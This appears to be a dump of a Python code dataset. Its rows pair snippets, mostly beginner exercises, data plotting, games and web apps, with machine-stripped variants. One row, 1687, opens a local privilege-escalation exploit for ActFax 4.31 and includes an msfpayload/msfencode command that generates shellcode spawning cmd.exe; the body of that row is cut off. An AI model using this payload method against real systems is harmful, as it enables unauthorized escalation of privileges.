print('Com os números digitados, formam um triângulo ISO... | [
"a = float(input('Digite um valor: '))\nb = float(input('Digite outro valor: '))\nc = float(input('Digite mais um valor: '))\nif a == b or b == c:\n print('Com os números digitados, formam um triângulo EQUILATERO.')\nelif a <> b and b <> c and c == a and b == c:\n print('Com os números digitados, formam um tr... | true |
1,650 | f6fee18898636ad6b0dc6d96d28dead4e09b8035 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Sep 18 13:36:13 2019
@author: gennachiaro
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns; sns.set()
import pyrolite.plot
from pyrolite.plot.spider import spider
#read in data
df = pd.read_csv('/users/ge... | [
"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 18 13:36:13 2019\n\n@author: gennachiaro\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\nimport pyrolite.plot\nfrom pyrolite.plot.spider import spider\n\n#read in data\nd... | false |
1,651 | 9e16921d83a5f62aad694b26a92b57b97ccda461 | """After seeing how great the lmfit package, I was inspired to create my own
object using it. This acts as a fitting template.
"""
##-------------------------------PREAMBLE-----------------------------------##
import numpy as np
import matplotlib.pyplot as plt
from lmfit import minimize, Parameters, fit_report
impo... | [
"\"\"\"After seeing how great the lmfit package, I was inspired to create my own\nobject using it. This acts as a fitting template. \n\"\"\"\n##-------------------------------PREAMBLE-----------------------------------##\nimport numpy as np \nimport matplotlib.pyplot as plt \nfrom lmfit import minimize, Parameters,... | false |
1,652 | 0cba18ca7126dda548a09f34dc26b83d6471bf68 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('courses', '0015_auto_20151216_1136'),
]
operations = [
migrations.AlterField(
model_name='duration',
... | [
"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('courses', '0015_auto_20151216_1136'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='dur... | false |
1,653 | a28c62a18d793fb285353902d01801c720bcb454 | #this apps is open
#Let's start with introduction
print "Hi, I am x0x. Could we introduce ourselves? (yes/no)"
answer = raw_input()
if answer.lower() == 'yes':
print "Okay, what is your name?"
name = raw_input()
print "Hi", name
print "Nice to meet you."
print "What are you going to do?"
print... | [
"#this apps is open\n\n#Let's start with introduction\n\nprint \"Hi, I am x0x. Could we introduce ourselves? (yes/no)\"\nanswer = raw_input()\nif answer.lower() == 'yes':\n print \"Okay, what is your name?\"\n name = raw_input()\n print \"Hi\", name\n print \"Nice to meet you.\"\n print \"What are yo... | true |
1,654 | f7a511beaea869cf32eb905a4f3685077297a5ec | import bpy
bl_info = {
"name": "Ratchets Center All Objects",
"author": "Ratchet3789",
"version": (0, 1, 0),
"description": "Centers all selected objects. Built for Game Development.",
"category": "Object",
}
class CenterOriginToZero(bpy.types.Operator):
"""Center all objects script""" # blen... | [
"import bpy\nbl_info = {\n \"name\": \"Ratchets Center All Objects\",\n \"author\": \"Ratchet3789\",\n \"version\": (0, 1, 0),\n \"description\": \"Centers all selected objects. Built for Game Development.\",\n \"category\": \"Object\",\n}\n\n\nclass CenterOriginToZero(bpy.types.Operator):\n \"\"\... | false |
1,655 | ad63beedc460b3d64a51d0b1f81f8e44cb559749 | import torch,cv2,os,time
import numpy as np
import matplotlib.pyplot as plt
from tqdm import tqdm
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
# GPU kullanımı
device=torch.device(0)
class NET(nn.Module):
def __init__(self):
super(). __init__()
... | [
"import torch,cv2,os,time\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom tqdm import tqdm\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\n\r\n# GPU kullanımı\r\ndevice=torch.device(0)\r\n\r\n\r\nclass NET(nn.Module):\r\n def __init__(self):\r\n ... | false |
1,656 | 0212382b5c8cc1e98142a784fd26efd577ebceaf | # LCP 74. 最强祝福力场-离散化+二维差分
# https://leetcode.cn/problems/xepqZ5/
# forceField[i] = [x,y,side] 表示第 i 片力场将覆盖以坐标 (x,y) 为中心，边长为 side 的正方形区域。
# !若任意一点的 力场强度 等于覆盖该点的力场数量，请求出在这片地带中 力场强度 最强处的 力场强度。
# !统计所有左下和右上坐标，由于会出现 0.5可以将坐标乘 2。
# O(n^2)
from typing import List
from 二维差分模板 import DiffMatrix
class Solution:... | [
"# LCP 74. 最强祝福力场-离散化+二维差分\r\n# https://leetcode.cn/problems/xepqZ5/\r\n# forceField[i] = [x,y,side] 表示第 i 片力场将覆盖以坐标 (x,y) 为中心，边长为 side 的正方形区域。\r\n# !若任意一点的 力场强度 等于覆盖该点的力场数量，请求出在这片地带中 力场强度 最强处的 力场强度。\r\n\r\n# !统计所有左下和右上坐标，由于会出现 0.5可以将坐标乘 2。\r\n# O(n^2)\r\n\r\n\r\nfrom typing import List\r\nfrom 二维差分模板 import DiffMa... | false |
1,657 | ffcd3c0086ff73eb722d867b335df23382615d20 | salario = float(input('Qual o valor do seu Salario atual? R$ '))
novo = salario + (salario * 15 / 100)
print('Um funcioario que ganhava R$ {:.2f} com o aumento de 15% passa a ganhar R$ {:.2f}'.format(salario, novo)) | [
"salario = float(input('Qual o valor do seu Salario atual? R$ '))\nnovo = salario + (salario * 15 / 100)\nprint('Um funcioario que ganhava R$ {:.2f} com o aumento de 15% passa a ganhar R$ {:.2f}'.format(salario, novo))",
"salario = float(input('Qual o valor do seu Salario atual? R$ '))\nnovo = salario + salario *... | false |
1,658 | d28e517e72c3689e973a5b1255d414648de418fb | from CategoryReplacer.CategoryReplcaers import CountEncoder
from CategoryReplacer.CategoryReplcaers import CombinCountEncoder
from CategoryReplacer.CategoryReplcaers import FrequencyEncoder
from CategoryReplacer.CategoryReplcaers import NullCounter
from CategoryReplacer.CategoryReplcaers import AutoCalcEncoder
from Cat... | [
"from CategoryReplacer.CategoryReplcaers import CountEncoder\nfrom CategoryReplacer.CategoryReplcaers import CombinCountEncoder\nfrom CategoryReplacer.CategoryReplcaers import FrequencyEncoder\nfrom CategoryReplacer.CategoryReplcaers import NullCounter\nfrom CategoryReplacer.CategoryReplcaers import AutoCalcEncoder... | false |
1,659 | 2b14607aa2527f5da57284917d06ea60e89f784c | import pygame
from .Coin import Coin
from .Snake import Snake, Block
from .Bomb import Bomb
from .Rocket import Rocket
from pygame.math import Vector2
cell_size = 16
cell_number = 30
sprite_cell = pygame.image.load("Assets/Cell.png")
bg = pygame.image.load("Assets/BG.png")
bg2 = pygame.image.load("Assets/BG2.png")
c... | [
"import pygame\nfrom .Coin import Coin\nfrom .Snake import Snake, Block\nfrom .Bomb import Bomb\nfrom .Rocket import Rocket\nfrom pygame.math import Vector2\n\ncell_size = 16\ncell_number = 30\n\nsprite_cell = pygame.image.load(\"Assets/Cell.png\")\nbg = pygame.image.load(\"Assets/BG.png\")\nbg2 = pygame.image.load... | false |
1,660 | da696961fea72e1482beae73c19b042b94d93886 | from Crypto.Hash import SHA512
from Crypto.PublicKey import RSA
from Crypto import Random
from collections import Counter
from Tkinter import Tk
from tkFileDialog import askopenfilename
import ast
import os
import tkMessageBox
from Tkinter import Tk
from tkFileDialog import askopenfilename
import Tkinter
import tkSimpl... | [
"from Crypto.Hash import SHA512\nfrom Crypto.PublicKey import RSA\nfrom Crypto import Random\nfrom collections import Counter\nfrom Tkinter import Tk\nfrom tkFileDialog import askopenfilename\nimport ast\nimport os\nimport tkMessageBox\nfrom Tkinter import Tk\nfrom tkFileDialog import askopenfilename\nimport Tkinte... | false |
1,661 | c0ad3d642f28cb11a8225d4d011dbb241bd88432 | n = int(input('Digite um número inteiro: '))
print(' O dobro de {} é {}'.format(n, n*2))
print(' O triplo de {} é {}'.format(n, n*3))
print(' A Raiz quadrada de {} é {}'.format(n, n*n)) | [
"n = int(input('Digite um número inteiro: '))\n\nprint(' O dobro de {} é {}'.format(n, n*2))\nprint(' O triplo de {} é {}'.format(n, n*3))\nprint(' A Raiz quadrada de {} é {}'.format(n, n*n))",
"n = int(input('Digite um número inteiro: '))\nprint(' O dobro de {} é {}'.format(n, n * 2))\nprint(' O triplo de {} é {... | false |
1,662 | d39cc2dbbc83869e559f8355ceba5cf420adea5e | class Solution:
def isUgly(self, num):
if num==0: return False
for n in [2,3,5]:
while num%n==0:
num=num/n
return num==1
a=Solution()
print(a.isUgly(14))
print(a.isUgly(8))
print(a.isUgly(6))
print(a.isUgly(0)) | [
"class Solution:\n def isUgly(self, num):\n if num==0: return False\n for n in [2,3,5]:\n while num%n==0:\n num=num/n\n return num==1\n\na=Solution()\nprint(a.isUgly(14))\nprint(a.isUgly(8))\nprint(a.isUgly(6))\nprint(a.isUgly(0))",
"class Solution:\n\n def isU... | false |
1,663 | f6a3693fe81e629d987067265bf4e410bf260bcf | import numpy as np
import yaml
import pickle
import os
from flask import Flask, request, jsonify, render_template, redirect, url_for, flash
from flask_mail import Mail, Message
from flask_wtf import FlaskForm
from flask_sqlalchemy import SQLAlchemy
from flask_bootstrap import Bootstrap
from wtforms import StringField,... | [
"import numpy as np\nimport yaml\nimport pickle\nimport os\n\nfrom flask import Flask, request, jsonify, render_template, redirect, url_for, flash\nfrom flask_mail import Mail, Message\nfrom flask_wtf import FlaskForm\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bootstrap import Bootstrap\nfrom wtforms impo... | false |
1,664 | 3edfc1098c775fa31456aa3cc938051b2dbb8697 | from typing import List
class Solution:
def findSubsequences(self, nums: List[int]) -> List[List[int]]:
res: List[List[int]] = []
s = set()
def deep(pos: int, tmp: List[int]):
if pos == len(nums):
if len(tmp) < 2:
return
for... | [
"from typing import List\n\n\nclass Solution:\n def findSubsequences(self, nums: List[int]) -> List[List[int]]:\n res: List[List[int]] = []\n\n s = set()\n\n def deep(pos: int, tmp: List[int]):\n if pos == len(nums):\n if len(tmp) < 2:\n return\n ... | false |
1,665 | 572d58eec652207e6ec5a5e1d4c2f4310f2a70f3 | import ttk
import Tkinter as tk
from rwb.runner.log import RobotLogTree, RobotLogMessages
from rwb.lib import AbstractRwbGui
from rwb.widgets import Statusbar
from rwb.runner.listener import RemoteRobotListener
NAME = "monitor"
HELP_URL="https://github.com/boakley/robotframework-workbench/wiki/rwb.monitor-User-Guide"... | [
"import ttk\nimport Tkinter as tk\nfrom rwb.runner.log import RobotLogTree, RobotLogMessages\nfrom rwb.lib import AbstractRwbGui\nfrom rwb.widgets import Statusbar\n\nfrom rwb.runner.listener import RemoteRobotListener\n\nNAME = \"monitor\"\nHELP_URL=\"https://github.com/boakley/robotframework-workbench/wiki/rwb.mo... | true |
1,666 | 670efbd9879099b24a87e19a531c4e3bbce094c6 |
"""
Read all the images from a directory,
resize, rescale and rename them.
"""
| [
"\n\n\"\"\"\nRead all the images from a directory,\nresize, rescale and rename them.\n\"\"\"\n\n\n\n",
"<docstring token>\n"
] | false |
1,667 | d0e5a3a6db0e27ecf157294850a48a19750a5ac2 | # Cookies Keys
class Cookies:
USER_TOKEN = "utoken"
# Session Keys
class Session:
USER_ROOT_ID = "x-root-id"
class APIStatisticsCollection:
API_ACTION = "x-stats-api-action"
DICT_PARAMS = "x-stats-param-dict"
DICT_RESPONSE = "x-stats-resp-dict"
SUCCESS = "x-stats-success"
... | [
"# Cookies Keys\nclass Cookies:\n USER_TOKEN = \"utoken\"\n\n\n# Session Keys\nclass Session:\n USER_ROOT_ID = \"x-root-id\"\n\n class APIStatisticsCollection:\n API_ACTION = \"x-stats-api-action\"\n DICT_PARAMS = \"x-stats-param-dict\"\n DICT_RESPONSE = \"x-stats-resp-dict\"\n ... | false |
1,668 | 8dfd92ab0ce0e71b41ce94bd8fcf057c8995a2a4 | import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
def plot3D(xValues, labels, figure = 0):
minClass = min(labels)
numberOfClasses = int(max(labels) - minClass)
fig = plt.figure(figure)
ax = plt.axes(projection='3d')
colors = ["r", "b", "y", "c", "m"]
fo... | [
"import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\ndef plot3D(xValues, labels, figure = 0):\n minClass = min(labels)\n numberOfClasses = int(max(labels) - minClass)\n\n fig = plt.figure(figure)\n ax = plt.axes(projection='3d')\n colors = [\"r\", \"b\", \"... | false |
1,669 | 4480b305a6f71ff64022f2b890998326bf402bf0 | #coding=utf-8
'初始化Package，加载url，生成app对象'
import web
from myapp.urls import urls
app = web.application(urls, globals())
| [
"#coding=utf-8\r\n'初始化Package，加载url，生成app对象'\r\nimport web\r\nfrom myapp.urls import urls\r\n\r\napp = web.application(urls, globals())\r\n\r\n\r\n",
"<docstring token>\nimport web\nfrom myapp.urls import urls\napp = web.application(urls, globals())\n",
"<docstring token>\n<import token>\napp = web.application(... | false |
1,670 | d44d9003e9b86722a0fc1dfe958de462db9cd5f1 | linha = input().split()
a = float(linha[0])
b = float(linha[1])
c = float(linha[2])
t = (a*c)/2
print('TRIANGULO: {:.3f}'.format(t))
pi = 3.14159
print("CIRCULO: {:.3f}".format(pi*c**2))
print('TRAPEZIO: {:.3f}'.format( ((a+b)*c)/2 ))
print("QUADRADO: {:.3f}".format(b**2))
print("RETANGULO: {:.3f}".format(a*b)) | [
"linha = input().split()\n\na = float(linha[0])\nb = float(linha[1])\nc = float(linha[2])\n\nt = (a*c)/2\n\nprint('TRIANGULO: {:.3f}'.format(t))\n\npi = 3.14159\n\nprint(\"CIRCULO: {:.3f}\".format(pi*c**2))\n\nprint('TRAPEZIO: {:.3f}'.format( ((a+b)*c)/2 ))\n\nprint(\"QUADRADO: {:.3f}\".format(b**2))\n\nprint(\"RET... | false |
1,671 | 474700968e563d34d6a0296ec62950e2e71fe1b0 | # -*- coding: utf-8 -*-
import chainer.links as L
import chainer.functions as F
from chainer import optimizer, optimizers, training, iterators
from chainer.training import extensions
from chainer.datasets import tuple_dataset
class SoftMaxTrainer():
def __init__(self, net):
self.model = L.Classifier(net)... | [
"# -*- coding: utf-8 -*-\n\nimport chainer.links as L\nimport chainer.functions as F\nfrom chainer import optimizer, optimizers, training, iterators\nfrom chainer.training import extensions\nfrom chainer.datasets import tuple_dataset\n\nclass SoftMaxTrainer():\n\n def __init__(self, net):\n self.model = L... | false |
1,672 | fc17b865815a7a5ec51f477a9fdda54667686eed | import pandas as pd
import matplotlib.pyplot as plt
loansData = pd.read_csv('loansData.csv')
# Print the first 5 rows of each of the column to see what needs to be cleaned
print loansData['Interest.Rate'][0:5]
print loansData['Loan.Length'][0:5]
print loansData['FICO.Range'][0:5]
# Clean up the columns
loansData['... | [
"import pandas as pd\nimport matplotlib.pyplot as plt\n\n\nloansData = pd.read_csv('loansData.csv')\n\n# Print the first 5 rows of each of the column to see what needs to be cleaned\nprint loansData['Interest.Rate'][0:5]\nprint loansData['Loan.Length'][0:5]\nprint loansData['FICO.Range'][0:5]\n\n\n# Clean up the co... | true |
1,673 | 955017ad7cc9dde744b8d8a9439f63f4725d50bc | #!/usr/bin/python
# This script deletes and recreates the NIC BoD intents.
# Use nic-bod-setup.py to set up the physical network and NEMO nodes first
import requests,json
import argparse, sys
from requests.auth import HTTPBasicAuth
USERNAME='admin'
PASSWORD='admin'
NIC_INTENTS="http://%s:8181/restconf/config/intent... | [
"#!/usr/bin/python\n\n# This script deletes and recreates the NIC BoD intents.\n# Use nic-bod-setup.py to set up the physical network and NEMO nodes first\n\nimport requests,json\nimport argparse, sys\nfrom requests.auth import HTTPBasicAuth\n\nUSERNAME='admin'\nPASSWORD='admin'\n\nNIC_INTENTS=\"http://%s:8181/rest... | true |
1,674 | ab632c3c8a7f295a890de19af82fde87c6d600bc | class Solution(object):
def gcdOfStrings(self, str1, str2):
if str1 == str2:
return str1
elif not str1 or not str2:
return ''
elif str1.startswith(str2):
return self.gcdOfStrings(str1[len(str2):], str2)
elif str2.startswith(str1):
retur... | [
"class Solution(object):\n def gcdOfStrings(self, str1, str2):\n if str1 == str2:\n return str1\n elif not str1 or not str2:\n return ''\n elif str1.startswith(str2):\n return self.gcdOfStrings(str1[len(str2):], str2)\n elif str2.startswith(str1):\n ... | false |
1,675 | 71fb9dc9f9ac8b1cdbc6af8a859dbc211512b4d1 | from allcode.controllers.image_classifiers.image_classifier import ImageClassifier
class ImageClassifierMockup(ImageClassifier):
def classify_images(self, images):
pass
def classify_image(self, image):
return {'final_class': 'dog',
'final_prob': .8}
| [
"from allcode.controllers.image_classifiers.image_classifier import ImageClassifier\n\n\nclass ImageClassifierMockup(ImageClassifier):\n\n def classify_images(self, images):\n pass\n\n def classify_image(self, image):\n return {'final_class': 'dog',\n 'final_prob': .8}\n",
"from... | false |
1,676 | 9cea27abebda10deefa9e05ddefa72c893b1eb18 | import numpy as np
import cv2
from DataTypes import FishPosition
class FishSensor(object):
def __init__(self):
self.cap = cv2.VideoCapture(0)
self.cap.set(3, 280)
self.cap.set(4, 192)
#cv2.namedWindow("image")
#lower_b, lower_g, lower_r = 0, 0, 80
lower_b, lower_g, lower_r = ... | [
"import numpy as np\nimport cv2\nfrom DataTypes import FishPosition\n\nclass FishSensor(object):\n def __init__(self):\n\t self.cap = cv2.VideoCapture(0)\n\t self.cap.set(3, 280)\n\t self.cap.set(4, 192)\n\n\t #cv2.namedWindow(\"image\")\n\n\t #lower_b, lower_g, lower_r = 0, 0, 80\n low... | true |
1,677 | eda1c1db5371f5171f0e1929e98d09e10fdcef24 | """Test Assert module."""
import unittest
from physalia import asserts
from physalia.fixtures.models import create_random_sample
from physalia.models import Measurement
# pylint: disable=missing-docstring
class TestAssert(unittest.TestCase):
TEST_CSV_STORAGE = "./test_asserts_db.csv"
def setUp(self):
... | [
"\"\"\"Test Assert module.\"\"\"\n\nimport unittest\nfrom physalia import asserts\nfrom physalia.fixtures.models import create_random_sample\nfrom physalia.models import Measurement\n\n# pylint: disable=missing-docstring\n\nclass TestAssert(unittest.TestCase):\n TEST_CSV_STORAGE = \"./test_asserts_db.csv\"\n\n ... | false |
1,678 | e4f07355300003943d2fc09f80746a1201de7e37 | # ch14_26.py
fn = 'out14_26.txt'
x = 100
with open(fn, 'w') as file_Obj:
file_Obj.write(x) # 直接輸出數值x產生錯誤
| [
"# ch14_26.py\r\nfn = 'out14_26.txt'\r\nx = 100\r\n\r\nwith open(fn, 'w') as file_Obj:\r\n file_Obj.write(x) # 直接輸出數值x產生錯誤\r\n\r\n",
"fn = 'out14_26.txt'\nx = 100\nwith open(fn, 'w') as file_Obj:\n file_Obj.write(x)\n",
"<assignment token>\nwith open(fn, 'w') as file_Obj:\n file_Obj.write... | false |
1,679 | 63001128d9cb934d6f9d57db668a43ba58f4ece3 | # encoding: utf-8
from SpiderTools.tool import platform_system
from SpidersLog.file_handler import SafeFileHandler
from Env.parse_yaml import FileConfigParser
from Env import log_variable as lv
from staticparm import root_path
from SpiderTools.tool import get_username
import logging
import logging.handlers
import trace... | [
"# encoding: utf-8\nfrom SpiderTools.tool import platform_system\nfrom SpidersLog.file_handler import SafeFileHandler\nfrom Env.parse_yaml import FileConfigParser\nfrom Env import log_variable as lv\nfrom staticparm import root_path\nfrom SpiderTools.tool import get_username\nimport logging\nimport logging.handlers... | false |
1,680 | aac3b2478980d3a5453451cb848afcfd6aca1743 | import logging as log
from time import monotonic
import re
from jmap.account import ImapAccount
import jmap.core as core
import jmap.mail as mail
import jmap.submission as submission
import jmap.vacationresponse as vacationresponse
import jmap.contacts as contacts
import jmap.calendars as calendars
from jmap import er... | [
"import logging as log\nfrom time import monotonic\nimport re\n\nfrom jmap.account import ImapAccount\nimport jmap.core as core\nimport jmap.mail as mail\nimport jmap.submission as submission\nimport jmap.vacationresponse as vacationresponse\nimport jmap.contacts as contacts\nimport jmap.calendars as calendars\nfro... | false |
1,681 | 66f60eb86137203a74656be13b631384eba30c84 | # Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(object):
def getIntersectionNode(self, headA, headB):
"""
:type head1, head1: ListNode
:rtype: ListNode
"""
if not hea... | [
"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def getIntersectionNode(self, headA, headB):\n \"\"\"\n :type head1, head1: ListNode\n :rtype: ListNode\n \"\... | false |
1,682 | 27ca60435c614e4d748917da45fc2fc75ee59f1c | #! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import division
import os
from solid import *
from solid.utils import *
from shapes import *
import sys
# Assumes SolidPython is in site-packages or elsewhwere in sys.path
from solid import *
from solid.utils import *
def voxels():
# shape = cube([1,... | [
"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport os\nfrom solid import *\nfrom solid.utils import *\n\nfrom shapes import *\nimport sys\n\n# Assumes SolidPython is in site-packages or elsewhwere in sys.path\nfrom solid import *\nfrom solid.utils import *\n\ndef voxels():\n ... | false |
1,683 | 7282af4186a976296ac50840e9169b78a66e118b | import pyreadstat
import matplotlib.pyplot as plt
import numpy as np
from keras.models import Sequential
from keras.layers import Dense
from keras.utils import np_utils
from sklearn.preprocessing import LabelEncoder
# Set random seed for reproducible results
np.random.seed(1)
# Read sav file and create a pandas dataf... | [
"import pyreadstat\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils import np_utils\nfrom sklearn.preprocessing import LabelEncoder\n\n# Set random seed for reproducible results\nnp.random.seed(1)\n\n# Read sav file and creat... | false |
1,684 | 333d237dd4a203fcfde3668901d725f16fbc402e | print('-'*100)
print('BIENVENIDOS A TIENDA ELEGANCIA')
print('-'*100)
prendas = ('Remeras', 'Camisas', 'Pantalones', 'Faldas', 'Vestidos', 'Abrigos', 'Calzado')
precioSinPromo = 0
superPuntos = 0
#ARTICULO 1
tipoPrenda1 = int(input('Ingrese Codigo de la prenda seleccionada: 0=Remeras, 1=Camisas, 2=Pantalones, 3=Fald... | [
"print('-'*100)\nprint('BIENVENIDOS A TIENDA ELEGANCIA')\nprint('-'*100)\n\nprendas = ('Remeras', 'Camisas', 'Pantalones', 'Faldas', 'Vestidos', 'Abrigos', 'Calzado')\n\nprecioSinPromo = 0\nsuperPuntos = 0\n\n#ARTICULO 1\ntipoPrenda1 = int(input('Ingrese Codigo de la prenda seleccionada: 0=Remeras, 1=Camisas, 2=Pan... | false |
1,685 | 732886306d949c4059b08e1bc46de3ad95ba56cb | """
Primos <generadores> 30 pts
Realice una generador que devuelva de todos lo numeros primos
existentes de 0 hasta n-1 que cumpla con el siguiente prototipo:
def gprimo(N):
pass
a = gprimo(10)
z = [e for e in a]
print(z)
# [2, 3 ,5 ,7 ]
"""
def gprimo(nmax):
for x in range(1,nmax):
for i in ra... | [
"\"\"\"\n\n Primos <generadores> 30 pts\n\n\tRealice una generador que devuelva de todos lo numeros primos\n\texistentes de 0 hasta n-1 que cumpla con el siguiente prototipo:\n\t\n\tdef gprimo(N):\n\t\tpass\n\t\n\t\n\ta = gprimo(10)\n\tz = [e for e in a]\n\tprint(z)\n\t# [2, 3 ,5 ,7 ]\n\"\"\"\n\ndef gprimo(nmax)... | false |
1,686 | e9c88e18472281438783d29648c673aa08366abb | import unittest2 as unittest
class GpTestCase(unittest.TestCase):
def __init__(self, methodName='runTest'):
super(GpTestCase, self).__init__(methodName)
self.patches = []
self.mock_objs = []
def apply_patches(self, patches):
if self.patches:
raise Exception('Test c... | [
"import unittest2 as unittest\n\n\nclass GpTestCase(unittest.TestCase):\n def __init__(self, methodName='runTest'):\n super(GpTestCase, self).__init__(methodName)\n self.patches = []\n self.mock_objs = []\n\n def apply_patches(self, patches):\n if self.patches:\n raise E... | false |
1,687 | 1b7048ef17b3512b9944ce7e197db27f4fd1aed0 | #!/usr/bin/python
#Title: ActFax 4.31 Local Privilege Escalation Exploit
#Author: Craig Freyman (@cd1zz)
#Discovered: July 10, 2012
#Vendor Notified: June 12, 2012
#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html
#msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_u... | [
"#!/usr/bin/python\r\n#Title: ActFax 4.31 Local Privilege Escalation Exploit\r\n#Author: Craig Freyman (@cd1zz)\r\n#Discovered: July 10, 2012\r\n#Vendor Notified: June 12, 2012\r\n#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html\r\n\r\n#msfpayload windows/exec CMD=cmd.exe R | msfen... | false |
1,688 | 6fbf64e2dc2836a54e54ee009be1d0d8d7c7037a | import time
from sqlalchemy import Column, Unicode, UnicodeText, Integer
from models.base_model import SQLMixin, db, SQLBase
class Messages(SQLMixin, SQLBase):
__tablename__ = 'Messages'
title = Column(Unicode(50), nullable=False)
content = Column(UnicodeText, nullable=False)
sender_id = ... | [
"import time\r\n\r\nfrom sqlalchemy import Column, Unicode, UnicodeText, Integer\r\n\r\nfrom models.base_model import SQLMixin, db, SQLBase\r\n\r\n\r\nclass Messages(SQLMixin, SQLBase):\r\n __tablename__ = 'Messages'\r\n title = Column(Unicode(50), nullable=False)\r\n content = Column(UnicodeText, nullable... | false |
1,689 | 057140ef1b8db340656b75b3a06cea481e3f20af | '''
Bayesian models for TWAS.
Author: Kunal Bhutani <kunalbhutani@gmail.com>
'''
from scipy.stats import norm
import pymc3 as pm
import numpy as np
from theano import shared
from scipy.stats.distributions import pareto
from scipy import optimize
import theano.tensor as t
def tinvlogit(x):
return t.exp(x) / (1 +... | [
"'''\nBayesian models for TWAS.\n\nAuthor: Kunal Bhutani <kunalbhutani@gmail.com>\n'''\n\nfrom scipy.stats import norm\nimport pymc3 as pm\nimport numpy as np\nfrom theano import shared\nfrom scipy.stats.distributions import pareto\nfrom scipy import optimize\nimport theano.tensor as t\n\n\ndef tinvlogit(x):\n r... | false |
1,690 | ee7820d50b5020a787fbaf012480e8c70bc0ee41 | from flask import request, json, Response, Blueprint
from ..models.DriverModel import DriverModel, DriverSchema
driver_api = Blueprint('drivers', __name__)
driver_schema = DriverSchema()
@driver_api.route('/', methods=['POST'])
def create():
req_data = request.get_json()
data, error = driver_schema.load(req_... | [
"from flask import request, json, Response, Blueprint\nfrom ..models.DriverModel import DriverModel, DriverSchema\n\ndriver_api = Blueprint('drivers', __name__)\ndriver_schema = DriverSchema()\n\n\n@driver_api.route('/', methods=['POST'])\ndef create():\n req_data = request.get_json()\n data, error = driver_s... | false |
1,691 | 7ca7693b842700a7b15242b656648e8a7e58cd23 | '''
Project Euler
Problem #41 - Pandigital prime
David 07/06/2017
'''
import time
import math
maxPandigitalPrime = 2
def isPrime(num):
if(num<=1):
return False
elif(num==2):
return True
elif(num%2==0):
return False
else:
sqrt_num = math.sqrt(num)
bound = int(... | [
"'''\nProject Euler\n\nProblem #41 - Pandigital prime\n\nDavid 07/06/2017\n'''\n\nimport time\nimport math\n\nmaxPandigitalPrime = 2\n\ndef isPrime(num):\n if(num<=1):\n return False\n elif(num==2):\n return True\n elif(num%2==0):\n return False\n else:\n sqrt_num = math.sqrt... | false |
1,692 | bbdb07a81d785bdf067707c4e56622a2ada76b7b | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/8/15 下午5:04
# @Author : Zessay
from .ffm import *
from .fm import *
from .utils import *
from .base_model import *
from .base_trainer import *
from .logger import *
from .metric import *
from .input_fn import * | [
"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/8/15 下午5:04\n# @Author : Zessay\n\nfrom .ffm import *\nfrom .fm import *\nfrom .utils import *\nfrom .base_model import *\nfrom .base_trainer import *\nfrom .logger import * \nfrom .metric import *\nfrom .input_fn import *",
"from .ffm import *\n... | false |
1,693 | a998433e45c1d5135749c5164e8ec1f2eb0e572a | from job_description import JobDescription
from resume import Resume
from resume_manager import ResumeManager
| [
"from job_description import JobDescription\nfrom resume import Resume\nfrom resume_manager import ResumeManager\n",
"<import token>\n"
] | false |
1,694 | 6f5bca8c1afcd9d9971a64300a576ca2b2f6ef70 | from django.shortcuts import render
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.response import Response
from django.conf import settings
import subprocess
import os
import json
class HookView(APIView):
def post(self, request, *args, **kwargs):
SCRIPT_PAT... | [
"from django.shortcuts import render\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.conf import settings\nimport subprocess\nimport os\nimport json\n\n\nclass HookView(APIView):\n def post(self, request, *args, **kwargs):\n ... | false |
1,695 | b210784a198eaa3e57b5a65ec182a746aecc0e2b | from pet import Pet
class Ninja:
def __init__(self, first_name, last_name, treats, pet_food, pet):
self.first_name = first_name
self.last_name = last_name
self.treats = treats
self.pet_food = pet_food
self.pet = pet
def walk(self):
self.pet.play()
def fe... | [
"from pet import Pet \n\nclass Ninja:\n def __init__(self, first_name, last_name, treats, pet_food, pet):\n self.first_name = first_name\n self.last_name = last_name\n self.treats = treats\n self.pet_food = pet_food\n self.pet = pet\n\n\n def walk(self):\n self.pet.pl... | false |
1,696 | f3ff453655d7938cb417ce212f3836fabafaea43 |
def interseccao_chaves(lis_dic):
lista = []
for dic1 in lis_dic[0]:
for cahves in dic1:
lista.append(dic1)
for dic2 in lis_dic[1]:
for cahves in dic2:
lista.append(dic2)
return lista
| [
"\ndef interseccao_chaves(lis_dic):\n lista = []\n for dic1 in lis_dic[0]:\n for cahves in dic1:\n lista.append(dic1)\n \n for dic2 in lis_dic[1]:\n for cahves in dic2:\n lista.append(dic2)\n \n return lista\n",
"def interseccao_chaves(lis_dic)... | false |
